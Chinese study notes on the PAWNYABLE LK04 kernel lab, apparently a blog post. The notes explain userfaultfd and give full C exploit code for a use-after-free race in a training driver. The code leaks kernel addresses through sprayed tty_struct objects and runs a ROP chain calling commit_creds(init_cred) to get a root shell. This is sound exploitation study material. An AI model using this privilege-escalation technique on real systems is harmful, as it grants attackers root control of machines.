PAWNYABLE kernel userfaultfd 笔记
/ 15 min read
Table of Contents
感觉这个是比较古老(2020 左右的)用法了,看看即可?
概念
userfaultfd 可以类比成一个缺页异常的 handler,如果 handler 可以处理很久,那可能更好达到竞争的效果
工作流程
参考 Kernel Pwn Syscall userfaultfd and Syscall setxattr - Wings 的博客
户通过userfaultfd系统调用接收文件描述符,并使用ioctl将处理程序和地址等设置应用于它。当设置了 userfaultfd 的页面(第一次访问)发生页面错误时,将调用设置的处理程序,用户可以指定返回哪种数据(映射)。
在 CTF 题中通常用来卡条件竞争. 当内核模块中有 copy from/to user 的时候, 内核模块会访问用户的空间. 如果我们传入的是一个被 uffd 监视的地址, 那么这个线程将会被挂起直到处理结束. 这样就能够控制内核中线程的执行顺序, 从而更好的达到想要的竞争效果.
可能涉及了保护措施
大概是 linux-5.11 之后默认开启
对于没有
CAP_SYS_PTRACE的用户以完全权限使用userfaultfd,必须将unprivileged_userfaultfd标志设置为 1。这个标志是/proc/sys/vm/unprivileged_userfaultfd可以通过 进行设置和查看,默认设置为0,但可以确认在LK04机器上设置为1。
使用实例 ,参考 userfaultfd 的使用 - CTF Wiki:
先用 userfaultfd 系统调用获得一个 fd
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);ioctl 初始化和配置 API,还有一些信息:起始地址和长度和模式
uffdio_api.api = UFFD_API; uffdio_api.features = 0; if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) fatal("ioctl(UFFDIO_API)");
uffdio_register.range.start = (unsigned long)addr; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) fatal("UFFDIO_REGISTER");启动一个进程来监听缺页异常:
if (pthread_create(&th, NULL, fault_handler_thread, (void*)uffd)) fatal("pthread_create");在 handler 函数中,poll 用于检测 fd 上的读写和出错事件,来检查是不是有事件(异常发生了)
for (;;) { struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1);
/* * [在这停顿.jpg] * 当 poll 返回时说明出现了缺页异常 * 你可以在这里插入一些比如说 sleep() 一类的操作, * 例如等待其他进程完成对象的重分配后再重新进行拷贝一类的,也可以直接睡死 :) */
if (nready == -1) errExit("poll");
nread = read(uffd, &msg, sizeof(msg));在 handler 里面可以自定义需要拷贝进去什么数据,使用操作 UFFDIO_COPY,把指定数据拷贝到指定位置。除了 copy 也有其他选择:
UFFDIO_COPY:将用户自定义数据拷贝到 faulting page 上,==注意是预写数据,提前拷贝之后要走正常的流程的==UFFDIO_ZEROPAGE:将 faulting page 置 0UFFDIO_WAKE:用于配合上面两项中UFFDIO_COPY_MODE_DONTWAKE和UFFDIO_ZEROPAGE_MODE_DONTWAKE模式实现批量填充
uffdio_copy.src = (unsigned long) uffd_src_page; uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(uffd_src_page_size - 1); uffdio_copy.len = page_size; uffdio_copy.mode = 0; uffdio_copy.copy = 0; if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) errExit("ioctl-UFFDIO_COPY");如果在 handler 函数里面,把本来应该读取的内容给 free 了,换成其他的结构体比如 tty structure,再读出来,这就完成了泄露。
神奇
userfaultfd 的内部机制可以看 Linux Kernel Userfaultfd 内部机制探究 - BrieflyX’s Base
好奇为什么要用 fd 来实现这个功能,可能是方便 poll 和 ioctl 的控制操作?
驱动程序分析
代码实现了一个双链的结构。INIT_LIST_HEAD 用于初始化链表头,list_ad 和 list_del 用于插入删除。
双链的成员是:
typedef struct { int id; size_t size; char *data; struct list_head list;} blob_list;在这种地方可能发生 race:
long blob_add(struct list_head *top, request_t *req) { blob_list *new;
/* Check size */ if (req->size > 0x1000) return -EINVAL;
/* Allocate a new blob structure */ new = (blob_list*)kmalloc(sizeof(blob_list), GFP_KERNEL); if (unlikely(!new)) return -ENOMEM;
/* Allocate data buffer */ new->data = (char*)kmalloc(req->size, GFP_KERNEL); if (unlikely(!new->data)) { kfree(new); return -ENOMEM; }那就模仿写一个 uffd handler 泄露基址一下
#include <inttypes.h>#include <sys/ioctl.h>#include <sys/mman.h>#include <fcntl.h> /* Definition of O_* constants */#include <sys/syscall.h> /* Definition of SYS_* constants */#include <linux/userfaultfd.h> /* Definition of UFFD_* constants */#include <unistd.h>#include <poll.h>#include <pthread.h>#include <stdlib.h>#include <stdio.h>
#define CMD_ADD 0xf1ec0001#define CMD_DEL 0xf1ec0002#define CMD_GET 0xf1ec0003#define CMD_SET 0xf1ec0004#define BUF_SIZE 0x400#define PAGE_SIZE 0x1000#define TTY_SIZE 0x20
uint64_t kbase;uint64_t heap;
typedef struct { int id; uint64_t size; char *data;} request_t;
int fd;int victim_id;char buf[PAGE_SIZE];int tty[TTY_SIZE];int fault_cnt = 0;void err_exit(char *msg){ printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg); exit(-1);}
void print_hex(char *name, uint64_t addr) { printf("%s %" PRIx64 "\n", name, addr); }
static void *fault_handler_thread(void *arg){ static struct uffd_msg msg; static int fault_cnt = 0; long uffd;
struct uffdio_copy uffdio_copy; ssize_t nread;
uffd = (long) arg;
for (;;) { struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1);
/* * [在这停顿.jpg] * 当 poll 返回时说明出现了缺页异常 * 你可以在这里插入一些比如说 sleep() 一类的操作, * 例如等待其他进程完成对象的重分配后再重新进行拷贝一类的,也可以直接睡死 :) */
if (nready == -1) err_exit("poll");
nread = read(uffd, &msg, sizeof(msg));
if (nread == 0) err_exit("EOF on userfaultfd!\n");
if (nread == -1) err_exit("read");
if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("Unexpected event on userfaultfd\n");
// 在这里可以做的操作是,释放这个 blob 用 tty structure 来替换 // 至于需要 UFFDIO_COPY 什么内容其实就无所谓了
if(fault_cnt++ == 0) { request_t del_req = {.id = victim_id}; ioctl(fd, CMD_DEL, &del_req);
for(int i = 0; i < TTY_SIZE; i++) { tty[i] = open("/dev/ptmx", O_RDWR); } printf("hackkkkkkkkkkk with tty structure\n"); } else{ printf("again"); }
uffdio_copy.src = (unsigned long) buf; uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address; uffdio_copy.len = PAGE_SIZE; uffdio_copy.mode = 0; uffdio_copy.copy = 0; if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("ioctl-UFFDIO_COPY"); }}
void register_uffd(char *fault_addr, uint64_t len, pthread_t *monitor_thread, void *(*handler)(void*)) { uint64_t uffd; struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; int s; uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
uffdio_api.api = UFFD_API; uffdio_api.features = 0; if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) err_exit("ioctl-UFFDIO_API");
uffdio_register.range.start = (unsigned long) fault_addr; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) err_exit("ioctl-UFFDIO_REGISTER");
s = pthread_create(monitor_thread, NULL, handler, (void *) uffd); if (s != 0) err_exit("pthread_create");}
int main() {
char *fault_addr = mmap(0, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
pthread_t monitor_thread; register_uffd(fault_addr, PAGE_SIZE, &monitor_thread, fault_handler_thread);
fd = open("/dev/fleckvieh", O_RDWR);
request_t add_req = {.id = 0, .size = BUF_SIZE, .data = buf}; victim_id = ioctl(fd, CMD_ADD, &add_req);
request_t get_req = {.id = victim_id, .size = BUF_SIZE, .data = fault_addr}; ioctl(fd, CMD_GET, &get_req);
// for(int i = 0; i < PAGE_SIZE/2; i+= 8) { // printf("%d\n", i); // print_hex("fault_addr", *(uint64_t *)(fault_addr + i)); // }
kbase = *(uint64_t *)(fault_addr + 584) - 0x334da0; heap = *(uint64_t *)(fault_addr + 56);
print_hex("kbase", kbase); print_hex("heap", heap);}在原博客里面提到了
从泄露的数据中您可能会注意到,
tty_struct开头的数据尚未被复制。 (本来有类似tty_operation之类的东西,但是前0x30字节全是0。)
这是由调用 copy_too_user 时数据大小过大造成的。copy_to_user 会从受害者的某个区域复制数据,但会尝试从开头复制。 这就是首次发生页面故障的地方,因此开头的字节序列是发生 UAF 之前的字节序列。
原来是 copy_to_user 已经读了一部分,所以开头是 0,剩下的内容还没有读过,等到变成 tty structure 之后继续读取…
泄露地址不只是找到 kbase 和 kheap,还需要拿到一下 dev (偏移 0x18)的地址,所以可能需要两次 uaf read。
复写 tty structure
使用 set 方法覆盖回一个 tty structure。但是由于写回去的 tty structure 的地址大概率不是之前的那个,所以需要大量 add,写上构造好的 ops 和 rop chain,这样说不定就可以覆盖到之前泄露地址的堆块
uint64_t rop_chain[] = {0, pop_rdi_ret + kbase, init_cred + kbase, commit_creds + kbase, srrartu + kbase + 22, 0x1, 0x2, (uint64_t)&binsh, user_cs, user_rflags, user_sp, user_ss};
print_hex("what!!!!!!", *(uint64_t *)(fault_addr + 0x1000 + 0x10)); memcpy(buf, fault_addr, 0x400); *(uint64_t *)(buf + 0) = 0x0000000100005401; // magic *(uint64_t *)(buf + 0x10) = *(uint64_t *)(fault_addr + 0x1000 + 0x10); // dev *(uint64_t *)(buf + 0x18) = heap; // ops *(uint64_t *)(buf + 0x60) = push_rdx_pop_rsp_pop_ret + kbase;
.... request_t add_req = {.id = 0, .size = BUF_SIZE, .data = buf}; for (int i = 0; i < 0x100; i++) { ioctl(fd, CMD_ADD, &add_req); }init_cred 怎么找
ida 看 vmlinux_symbol 就行
struct cred *prepare_kernel_cred(struct task_struct *daemon){ const struct cred *old; struct cred *new;
new = kmem_cache_alloc(cred_jar, GFP_KERNEL); if (!new) return NULL;
kdebug("prepare_kernel_cred() alloc %p", new);
if (daemon) old = get_task_cred(daemon); else old = get_cred(&init_cred);
validate_creds(old);dword_FFFFFFFF81E37480 就是 init_cred
if ( a1 ) { task_cred = (signed __int32 *)get_task_cred(a1); } else { dword_FFFFFFFF81E374F0 = 0; _InterlockedIncrement(dword_FFFFFFFF81E37480); task_cred = dword_FFFFFFFF81E37480; }exp
#include <fcntl.h> /* Definition of O_* constants */#include <inttypes.h>#include <linux/userfaultfd.h> /* Definition of UFFD_* constants */#include <poll.h>#include <pthread.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/ioctl.h>#include <sys/mman.h>#include <sys/syscall.h> /* Definition of SYS_* constants */#include <unistd.h>
#define CMD_ADD 0xf1ec0001#define CMD_DEL 0xf1ec0002#define CMD_GET 0xf1ec0003#define CMD_SET 0xf1ec0004#define BUF_SIZE 0x400#define PAGE_SIZE 0x1000#define TTY_SIZE 0x10
uint64_t user_cs, user_ss, user_rflags, user_sp;uint64_t commit_creds = 0x72830;uint64_t prepare_kernel_cred = 0x729d0;uint64_t srrartu = 0x800e10;uint64_t modprobe_path = 0xe37ea0;// 0xffffffff8109b0ed: pop rdi; ret;uint64_t pop_rdi_ret = 0x9b0ed;// 0xffffffff81f1a1e2: mov rdi, rax; rep movsd dword ptr [rdi], dword ptr [rsi];// pop rbp; ret;uint64_t mov_rdi_rax_ret = 0xf1a1e2;// 0xffffffff81022fe3: pop rcx; ret;uint64_t pop_rcx_ret = 0x22fe3;// 0xffffffff8109b13a: push rdx; cmp eax, 0x415b005c; pop rsp; pop rbp; ret;uint64_t push_rdx_pop_rsp_pop_ret = 0x9b13a;uint64_t init_cred = 0xE37480;uint64_t kbase;uint64_t heap;
typedef struct { int id; uint64_t size; char *data;} request_t;
int fd;int victim_id;char buf[PAGE_SIZE];int tty[TTY_SIZE];int fault_cnt = 0;
void binsh() { puts("get shell"); char *argv[] = {"/bin/sh", NULL}; char *envp[] = {NULL}; execve("/bin/sh", argv, envp);}
void save_status() { asm("movq %%cs, %0\n\t" "movq %%ss, %1\n\t" "movq %%rsp, %3\n\t" "pushfq\n\t" "popq %2\n\t" : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp) : // no input : "memory");}
void err_exit(char *msg) { printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg); exit(-1);}
void print_hex(char *name, uint64_t addr) { printf("%s %" PRIx64 "\n", name, addr);}
static void *fault_handler_thread(void *arg) { static struct uffd_msg msg; static int fault_cnt = 0; long uffd;
struct uffdio_copy uffdio_copy; ssize_t nread;
uffd = (long)arg;
for (;;) { struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1);
/* * [在这停顿.jpg] * 当 poll 返回时说明出现了缺页异常 * 你可以在这里插入一些比如说 sleep() 一类的操作, * 例如等待其他进程完成对象的重分配后再重新进行拷贝一类的,也可以直接睡死 * :) */
printf("fault_cnt: %d\n", fault_cnt);
if (nready == -1) err_exit("poll");
nread = read(uffd, &msg, sizeof(msg));
if (nread == 0) err_exit("EOF on userfaultfd!\n");
if (nread == -1) err_exit("read");
if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("Unexpected event on userfaultfd\n");
// 在这里可以做的操作是,释放这个 blob 用 tty structure 来替换 // 至于需要 UFFDIO_COPY 什么内容其实就无所谓了
else if (fault_cnt++ == 0) { request_t del_req = {.id = victim_id}; ioctl(fd, CMD_DEL, &del_req);
for (int i = 0; i < TTY_SIZE; i++) { tty[i] = open("/dev/ptmx", O_RDWR); } printf("UAF read! first time\n"); } else if (fault_cnt++ == 2) { request_t del_req = {.id = victim_id}; ioctl(fd, CMD_DEL, &del_req);
for (int i = 0; i < TTY_SIZE; i++) { tty[i] = open("/dev/ptmx", O_RDWR); } printf("UAF read second time\n"); } else if (fault_cnt++ == 5) { request_t add_req = {.id = 0, .size = BUF_SIZE, .data = buf}; for (int i = 0; i < 0x100; i++) { ioctl(fd, CMD_ADD, &add_req); }
request_t del_req = {.id = victim_id}; ioctl(fd, CMD_DEL, &del_req);
for (int i = 0; i < TTY_SIZE; i++) { tty[i] = open("/dev/ptmx", O_RDWR); } printf("UAF write\n"); } else { printf("again\n"); }
uffdio_copy.src = (unsigned long)buf; uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address; uffdio_copy.len = PAGE_SIZE; uffdio_copy.mode = 0; uffdio_copy.copy = 0; if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("ioctl-UFFDIO_COPY"); }}
void register_uffd(char *fault_addr, uint64_t len, pthread_t *monitor_thread, void *(*handler)(void *)) { uint64_t uffd; struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; int s; uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
uffdio_api.api = UFFD_API; uffdio_api.features = 0; if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) err_exit("ioctl-UFFDIO_API");
uffdio_register.range.start = (unsigned long)fault_addr; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) err_exit("ioctl-UFFDIO_REGISTER");
s = pthread_create(monitor_thread, NULL, handler, (void *)uffd); if (s != 0) err_exit("pthread_create");}
int main() {
save_status(); char *fault_addr = mmap(0, PAGE_SIZE * 5, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
pthread_t monitor_thread; register_uffd(fault_addr, PAGE_SIZE * 5, &monitor_thread, fault_handler_thread);
fd = open("/dev/fleckvieh", O_RDWR);
request_t add_req = {.id = 0, .size = BUF_SIZE, .data = buf}; victim_id = ioctl(fd, CMD_ADD, &add_req);
request_t get_req = {.id = victim_id, .size = BUF_SIZE, .data = fault_addr}; ioctl(fd, CMD_GET, &get_req);
kbase = *(uint64_t *)(fault_addr + 584) - 0x334da0; heap = *(uint64_t *)(fault_addr + 56) - 0x38; print_hex("kbase", kbase); print_hex("heap", heap);
for (int i = 0; i < TTY_SIZE; i++) { close(tty[i]); }
victim_id = ioctl(fd, CMD_ADD, &add_req); request_t get_req_2 = { .id = victim_id, .size = 0x20, .data = fault_addr + 0x1000}; ioctl(fd, CMD_GET, &get_req_2);
for (int i = 0; i < TTY_SIZE; i++) { close(tty[i]); }
sleep(2); uint64_t rop_chain[] = {0, pop_rdi_ret + kbase, init_cred + kbase, commit_creds + kbase, srrartu + kbase + 22, 0x1, 0x2, (uint64_t)&binsh, user_cs, user_rflags, user_sp, user_ss};
memcpy(buf, fault_addr, 0x400); *(uint64_t *)(buf + 0) = 0x0000000100005401; // magic *(uint64_t *)(buf + 0x10) = *(uint64_t *)(fault_addr + 0x1000 + 0x10); // dev *(uint64_t *)(buf + 0x18) = heap; // ops *(uint64_t *)(buf + 0x60) = push_rdx_pop_rsp_pop_ret + kbase;
memcpy(buf + 0x100, rop_chain, sizeof(rop_chain));
victim_id = ioctl(fd, CMD_ADD, &add_req); request_t set_req = { .id = victim_id, .size = BUF_SIZE, .data = fault_addr + 0x2000}; ioctl(fd, CMD_SET, &set_req);
for (int i = 0; i < TTY_SIZE; i++) { ioctl(tty[i], heap + 0x100, heap + 0x100); }}